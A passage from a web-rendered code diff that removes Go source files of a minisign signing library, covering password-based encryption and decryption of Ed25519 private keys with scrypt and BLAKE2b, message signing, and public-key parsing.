|
||||
func PrivateKeyFromFile(password, path string) (PrivateKey, error) {
|
||||
bytes, err := ioutil.ReadFile(path)
|
||||
if err != nil {
|
||||
return PrivateKey{}, err
|
||||
}
|
||||
return DecryptKey(password, bytes)
|
||||
}
|
||||
|
||||
// PrivateKey is a minisign private key.
|
||||
//
|
||||
// A private key can sign messages to prove the
|
||||
// their origin and authenticity.
|
||||
//
|
||||
// PrivateKey implements the crypto.Signer interface.
|
||||
type PrivateKey struct {
|
||||
_ [0]func() // prevent direct comparison: p1 == p2.
|
||||
|
||||
RawID uint64
|
||||
RawBytes [ed25519.PrivateKeySize]byte
|
||||
}
|
||||
|
||||
func (p PrivateKey) Bytes() []byte {
|
||||
return p.RawBytes[:]
|
||||
}
|
||||
|
||||
var _ crypto.Signer = (*PrivateKey)(nil) // compiler check
|
||||
|
||||
// ID returns the 64 bit key ID.
|
||||
func (p PrivateKey) ID() uint64 { return p.RawID }
|
||||
|
||||
// Public returns the corresponding public key.
|
||||
func (p PrivateKey) Public() crypto.PublicKey {
|
||||
var bytes [ed25519.PublicKeySize]byte
|
||||
copy(bytes[:], p.RawBytes[32:])
|
||||
|
||||
return PublicKey{
|
||||
id: p.ID(),
|
||||
bytes: bytes,
|
||||
}
|
||||
}
|
||||
|
||||
// Sign signs the given message.
|
||||
//
|
||||
// The minisign signature scheme relies on Ed25519 and supports
|
||||
// plain as well as pre-hashed messages. Therefore, opts can be
|
||||
// either crypto.Hash(0) to signal that the message has not been
|
||||
// hashed or crypto.BLAKE2b_512 to signal that the message is a
|
||||
// BLAKE2b-512 digest. If opts is crypto.BLAKE2b_512 then message
|
||||
// must be a 64 bytes long.
|
||||
//
|
||||
// Minisign signatures are deterministic such that no randomness
|
||||
// is necessary.
|
||||
func (p PrivateKey) Sign(_ io.Reader, message []byte, opts crypto.SignerOpts) (signature []byte, err error) {
|
||||
var (
|
||||
trustedComment = "timestamp:" + strconv.FormatInt(time.Now().Unix(), 10)
|
||||
untrustedComment = "signature from private key: " + strings.ToUpper(strconv.FormatUint(p.ID(), 16))
|
||||
)
|
||||
switch h := opts.HashFunc(); h {
|
||||
case crypto.Hash(0):
|
||||
const isHashed = false
|
||||
return sign(p, message, trustedComment, untrustedComment, isHashed), nil
|
||||
case crypto.BLAKE2b_512:
|
||||
const isHashed = true
|
||||
if n := len(message); n != blake2b.Size {
|
||||
return nil, errors.New("minisign: invalid message length " + strconv.Itoa(n))
|
||||
}
|
||||
return sign(p, message, trustedComment, untrustedComment, isHashed), nil
|
||||
default:
|
||||
return nil, errors.New("minisign: cannot sign messages hashed with " + strconv.Itoa(int(h)))
|
||||
}
|
||||
}
|
||||
|
||||
// Equal returns true if and only if p and x have equivalent values.
|
||||
func (p PrivateKey) Equal(x crypto.PrivateKey) bool {
|
||||
xx, ok := x.(PrivateKey)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
return p.RawID == xx.RawID && subtle.ConstantTimeCompare(p.RawBytes[:], xx.RawBytes[:]) == 1
|
||||
}
|
||||
|
||||
const (
|
||||
scryptAlgorithm = 0x6353 // hex value for "Sc"
|
||||
blake2bAlgorithm = 0x3242 // hex value for "B2"
|
||||
|
||||
scryptOpsLimit = 0x2000000 // max. Scrypt ops limit based on libsodium
|
||||
scryptMemLimit = 0x40000000 // max. Scrypt mem limit based on libsodium
|
||||
|
||||
privateKeySize = 158 // 2 + 2 + 2 + 32 + 8 + 8 + 104
|
||||
)
|
||||
|
||||
// EncryptKey encrypts the private key with the given password
|
||||
// using some entropy from the RNG of the OS.
|
||||
func EncryptKey(password string, privateKey PrivateKey) ([]byte, error) {
|
||||
var privateKeyBytes [72]byte
|
||||
binary.LittleEndian.PutUint64(privateKeyBytes[:], privateKey.ID())
|
||||
copy(privateKeyBytes[8:], privateKey.RawBytes[:])
|
||||
|
||||
var salt [32]byte
|
||||
if _, err := io.ReadFull(rand.Reader, salt[:]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var bytes [privateKeySize]byte
|
||||
binary.LittleEndian.PutUint16(bytes[0:], EdDSA)
|
||||
binary.LittleEndian.PutUint16(bytes[2:], scryptAlgorithm)
|
||||
binary.LittleEndian.PutUint16(bytes[4:], blake2bAlgorithm)
|
||||
|
||||
const ( // TODO(aead): Callers may want to customize the cost parameters
|
||||
defaultOps = 33554432 // libsodium OPS_LIMIT_SENSITIVE
|
||||
defaultMem = 1073741824 // libsodium MEM_LIMIT_SENSITIVE
|
||||
)
|
||||
copy(bytes[6:38], salt[:])
|
||||
binary.LittleEndian.PutUint64(bytes[38:], defaultOps)
|
||||
binary.LittleEndian.PutUint64(bytes[46:], defaultMem)
|
||||
copy(bytes[54:], encryptKey(password, salt[:], defaultOps, defaultMem, privateKeyBytes[:]))
|
||||
|
||||
const comment = "untrusted comment: minisign encrypted secret key\n"
|
||||
encodedBytes := make([]byte, len(comment)+base64.StdEncoding.EncodedLen(len(bytes)))
|
||||
copy(encodedBytes, []byte(comment))
|
||||
base64.StdEncoding.Encode(encodedBytes[len(comment):], bytes[:])
|
||||
return encodedBytes, nil
|
||||
}
|
||||
|
||||
var errDecrypt = errors.New("minisign: decryption failed")
|
||||
|
||||
// DecryptKey tries to decrypt the encrypted private key with
|
||||
// the given password.
|
||||
func DecryptKey(password string, privateKey []byte) (PrivateKey, error) {
|
||||
privateKey = trimUntrustedComment(privateKey)
|
||||
bytes := make([]byte, base64.StdEncoding.DecodedLen(len(privateKey)))
|
||||
n, err := base64.StdEncoding.Decode(bytes, privateKey)
|
||||
if err != nil {
|
||||
return PrivateKey{}, err
|
||||
}
|
||||
bytes = bytes[:n]
|
||||
|
||||
if len(bytes) != privateKeySize {
|
||||
return PrivateKey{}, errDecrypt
|
||||
}
|
||||
if a := binary.LittleEndian.Uint16(bytes[:2]); a != EdDSA {
|
||||
return PrivateKey{}, errDecrypt
|
||||
}
|
||||
if a := binary.LittleEndian.Uint16(bytes[2:4]); a != scryptAlgorithm {
|
||||
return PrivateKey{}, errDecrypt
|
||||
}
|
||||
if a := binary.LittleEndian.Uint16(bytes[4:6]); a != blake2bAlgorithm {
|
||||
return PrivateKey{}, errDecrypt
|
||||
}
|
||||
|
||||
var (
|
||||
scryptOps = binary.LittleEndian.Uint64(bytes[38:46])
|
||||
scryptMem = binary.LittleEndian.Uint64(bytes[46:54])
|
||||
)
|
||||
if scryptOps > scryptOpsLimit {
|
||||
return PrivateKey{}, errDecrypt
|
||||
}
|
||||
if scryptMem > scryptMemLimit {
|
||||
return PrivateKey{}, errDecrypt
|
||||
}
|
||||
var salt [32]byte
|
||||
copy(salt[:], bytes[6:38])
|
||||
privateKeyBytes, err := decryptKey(password, salt[:], scryptOps, scryptMem, bytes[54:])
|
||||
if err != nil {
|
||||
return PrivateKey{}, err
|
||||
}
|
||||
|
||||
key := PrivateKey{
|
||||
RawID: binary.LittleEndian.Uint64(privateKeyBytes[:8]),
|
||||
}
|
||||
copy(key.RawBytes[:], privateKeyBytes[8:])
|
||||
return key, nil
|
||||
}
|
||||
|
||||
// encryptKey encrypts the plaintext and returns a ciphertext by:
|
||||
// 1. tag = BLAKE2b-256(EdDSA-const || plaintext)
|
||||
// 2. keystream = Scrypt(password, salt, convert(ops, mem))
|
||||
// 3. ciphertext = (plaintext || tag) ⊕ keystream
|
||||
//
|
||||
// Therefore, decryptKey converts the ops and mem cost parameters
|
||||
// to the (N, r, p)-tuple expected by Scrypt.
|
||||
//
|
||||
// The plaintext must be a private key ID concatenated with a raw
|
||||
// Ed25519 private key, and therefore, 72 bytes long.
|
||||
func encryptKey(password string, salt []byte, ops, mem uint64, plaintext []byte) []byte {
|
||||
const (
|
||||
plaintextLen = 72
|
||||
messageLen = 74
|
||||
ciphertextLen = 104
|
||||
)
|
||||
|
||||
N, r, p := convertScryptParameters(ops, mem)
|
||||
keystream, err := scrypt.Key([]byte(password), salt, N, r, p, ciphertextLen)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
var message [messageLen]byte
|
||||
binary.LittleEndian.PutUint16(message[:2], EdDSA)
|
||||
copy(message[2:], plaintext)
|
||||
checksum := blake2b.Sum256(message[:])
|
||||
|
||||
var ciphertext [ciphertextLen]byte
|
||||
copy(ciphertext[:plaintextLen], plaintext)
|
||||
copy(ciphertext[plaintextLen:], checksum[:])
|
||||
|
||||
for i, k := range keystream {
|
||||
ciphertext[i] ^= k
|
||||
}
|
||||
return ciphertext[:]
|
||||
}
|
||||
|
||||
// decryptKey decrypts the ciphertext and returns a plaintext by:
|
||||
// 1. keystream = Scrypt(password, salt, convert(ops, mem))
|
||||
// 2. plaintext || tag = ciphertext ⊕ keystream
|
||||
// 3. Check that: tag == BLAKE2b-256(EdDSA-const || plaintext)
|
||||
//
|
||||
// Therefore, decryptKey converts the ops and mem cost parameters to
|
||||
// the (N, r, p)-tuple expected by Scrypt.
|
||||
//
|
||||
// It returns an error if the ciphertext is not valid - i.e. if the
|
||||
// tag does not match the BLAKE2b-256 hash value.
|
||||
func decryptKey(password string, salt []byte, ops, mem uint64, ciphertext []byte) ([]byte, error) {
|
||||
const (
|
||||
plaintextLen = 72
|
||||
messageLen = 74
|
||||
ciphertextLen = 104
|
||||
)
|
||||
if len(ciphertext) != ciphertextLen {
|
||||
return nil, errDecrypt
|
||||
}
|
||||
|
||||
N, r, p := convertScryptParameters(ops, mem)
|
||||
keystream, err := scrypt.Key([]byte(password), salt, N, r, p, ciphertextLen)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var plaintext [ciphertextLen]byte
|
||||
for i, k := range keystream {
|
||||
plaintext[i] = ciphertext[i] ^ k
|
||||
}
|
||||
var (
|
||||
privateKeyBytes = plaintext[:plaintextLen]
|
||||
checksum = plaintext[plaintextLen:]
|
||||
)
|
||||
|
||||
var message [messageLen]byte
|
||||
binary.LittleEndian.PutUint16(message[:2], EdDSA)
|
||||
copy(message[2:], privateKeyBytes)
|
||||
|
||||
if sum := blake2b.Sum256(message[:]); subtle.ConstantTimeCompare(sum[:], checksum[:]) != 1 {
|
||||
return nil, errDecrypt
|
||||
}
|
||||
return privateKeyBytes, nil
|
||||
}
|
||||
|
||||
// convertScryptParameters converts the operational and memory cost
|
||||
// to the Scrypt parameters N, r and p.
|
||||
//
|
||||
// N is the overall memory / CPU cost and r * p has to be lower then
|
||||
// 2³⁰. Refer to the scrypt.Key docs for more information.
|
||||
func convertScryptParameters(ops, mem uint64) (N, r, p int) {
|
||||
const (
|
||||
minOps = 1 << 15
|
||||
maxRP = 0x3fffffff
|
||||
)
|
||||
if ops < minOps {
|
||||
ops = minOps
|
||||
}
|
||||
|
||||
if ops < mem/32 {
|
||||
r, p = 8, 1
|
||||
for n := 1; n < 63; n++ {
|
||||
if N = 1 << n; uint64(N) > (ops / (8 * uint64(r))) {
|
||||
break
|
||||
}
|
||||
}
|
||||
} else {
|
||||
r = 8
|
||||
for n := 1; n < 63; n++ {
|
||||
if N = 1 << n; uint64(N) > (mem / (256 * uint64(r))) {
|
||||
break
|
||||
}
|
||||
}
|
||||
if rp := (ops / 4) / uint64(N); rp < maxRP {
|
||||
p = int(rp) / r
|
||||
} else {
|
||||
p = maxRP / r
|
||||
}
|
||||
}
|
||||
return N, r, p
|
||||
}
|
||||
@@ -1,93 +0,0 @@
|
||||
package minisign
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"crypto/ed25519"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// PublicKeyFromFile reads a new PublicKey from the
|
||||
// given file.
|
||||
func PublicKeyFromFile(path string) (PublicKey, error) {
|
||||
bytes, err := ioutil.ReadFile(path)
|
||||
if err != nil {
|
||||
return PublicKey{}, err
|
||||
}
|
||||
|
||||
var key PublicKey
|
||||
if err = key.UnmarshalText(bytes); err != nil {
|
||||
return PublicKey{}, err
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
|
||||
// PublicKey is a minisign public key.
|
||||
//
|
||||
// A public key is used to verify whether messages
|
||||
// have been signed with the corresponding private
|
||||
// key.
|
||||
type PublicKey struct {
|
||||
_ [0]func() // prevent direct comparison: p1 == p2.
|
||||
|
||||
id uint64
|
||||
bytes [ed25519.PublicKeySize]byte
|
||||
}
|
||||
|
||||
// ID returns the 64 bit key ID.
|
||||
func (p PublicKey) ID() uint64 { return p.id }
|
||||
|
||||
// Equal returns true if and only if p and x have equivalent values.
|
||||
func (p PublicKey) Equal(x crypto.PublicKey) bool {
|
||||
xx, ok := x.(PublicKey)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
return p.id == xx.id && p.bytes == xx.bytes
|
||||
}
|
||||
|
||||
// String returns a base64 string representation of the PublicKey p.
|
||||
func (p PublicKey) String() string {
|
||||
var bytes [2 + 8 + ed25519.PublicKeySize]byte
|
||||
binary.LittleEndian.PutUint16(bytes[:2], EdDSA)
|
||||
binary.LittleEndian.PutUint64(bytes[2:10], p.ID())
|
||||
copy(bytes[10:], p.bytes[:])
|
||||
|
||||
return base64.StdEncoding.EncodeToString(bytes[:])
|
||||
}
|
||||
|
||||
// MarshalText returns a textual representation of the PublicKey p.
|
||||
//
|
||||
// It never returns an error.
|
||||
func (p PublicKey) MarshalText() ([]byte, error) {
|
||||
var comment = "untrusted comment: minisign public key: " + strings.ToUpper(strconv.FormatUint(p.ID(), 16)) + "\n"
|
||||
return []byte(comment + p.String()), nil
|
||||
}
|
||||
|
||||
// UnmarshalText parses text as textual-encoded public key.
|
||||
// It returns an error if text is not a well-formed public key.
|
||||
func (p *PublicKey) UnmarshalText(text []byte) error {
|
||||
text = trimUntrustedComment(text)
|
||||
bytes := make([]byte, base64.StdEncoding.DecodedLen(len(text)))
|
||||
n, err := base64.StdEncoding.Decode(bytes, text)
|
||||
if err != nil {
|
||||
return fmt.Errorf("minisign: invalid public key: %v", err)
|
||||
}
|
||||
bytes = bytes[:n] // Adjust b/c text may contain '\r' or '\n' which would have been ignored during decoding.
|
||||
|
||||
if n = len(bytes); n != 2+8+ed25519.PublicKeySize {
|
||||
return errors.New("minisign: invalid public key length " + strconv.Itoa(n))
|
||||
}
|
||||
if a := binary.LittleEndian.Uint16(bytes[:2]); a != EdDSA {
|
||||
return errors.New("minisign: invalid public key algorithm " + strconv.Itoa(int(a)))
|
||||
}
|
||||
|
||||
p.id = binary.LittleEndian.Uint64(bytes[2:10])
|
||||
copy(p.bytes[:], bytes[10:])
|
||||
return nil
|
||||
}
|
||||
Loaded 100 of 978 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user